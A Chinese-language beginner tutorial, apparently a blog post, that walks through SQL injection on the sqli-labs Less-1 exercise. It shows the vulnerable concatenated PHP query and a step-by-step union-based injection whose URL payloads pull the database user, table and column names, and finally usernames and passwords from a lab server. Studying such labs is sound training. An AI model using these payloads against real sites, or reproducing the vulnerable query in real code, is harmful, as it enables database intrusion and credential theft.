Sql注入初级认识
对于Sql注入的学习,我还是通过Sql-lab来进行一个由浅入深的认识。
打开Sql-lab的第一关

我们如何来检测是否存在sql注入呢?
最简单的办法就是在其url后加 ‘
http://43.247.91.228:84/Less-1/?id=1%27

(单引号’ 经url编码后会变成 %27)
加了一个单引号之后,发现页面提示我们有语法错误。为什么会出现问题,我们现在查看一下该页面的源码。
我们直接查看最主要的部分,搞清楚数据库是如何读取我们想要的信息并返回给我们。

$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1″;
当我们查找id值为1的数据时,该语句就是如下的样子:
$sql=”SELECT * FROM users WHERE id=’1′ LIMIT 0,1″;
那当我们检测是否存在sql注入时,传递 ?id=1’,则该语句就变成
$sql=”SELECT * FROM users WHERE id=’1” LIMIT 0,1″;
Id=’1” ,此时这里多出了一个’,所以当然是会报错的。
如何清除掉报错?这里我们需要加入注释符,来屏蔽掉这种错误。
注释符为 –+,现在加上注释符,便不报错了,如下:

(为什么要注释呢?只有将错误注释掉,我们才可以正确进行我们想要的操作。)
接下来,我们利用 order by 语句查询数据库的行数
分别测试 order by 1、2、3、4

当我们测试到 order by 4 时,页面报错:

这说明数据库共有三行。
此时,我们需要用语句 union select 1,2,3 来查看页面的返回结果。
这里要注意一点就是,令id等于一个不存在的值,令id=-1,这样数据库中不存在id=-1的值,就会返回 union select 查询后的结果。

此图说明2和3的位置我们可以查询到一定的信息。
所以,我们在2处查询当前的数据库的用户,在3处查询数据库的名字。如下:
http://43.247.91.228:84/Less-1/?id=-1%27union%20select%201,user(),database()–+
补充:
database():当前网站使用的数据库
version():当前Mysql的版本
user():当前Mysql的用户
得到:

接下来,在3的位置查询表
http://43.247.91.228:84/Less-1/?id=-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27–+
得到表数据:

继续查询users表的内容:
http://43.247.91.228:84/Less-1/?id=-1%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20table_schema=%27security%27–+
得到:

查询username和password:
http://43.247.91.228:84/Less-1/?id=-1%27union%20select%201,group_concat(username),group_concat(password)%20from%20users–+
得到:

Sql注入还是挺难的,所以一定要重基础!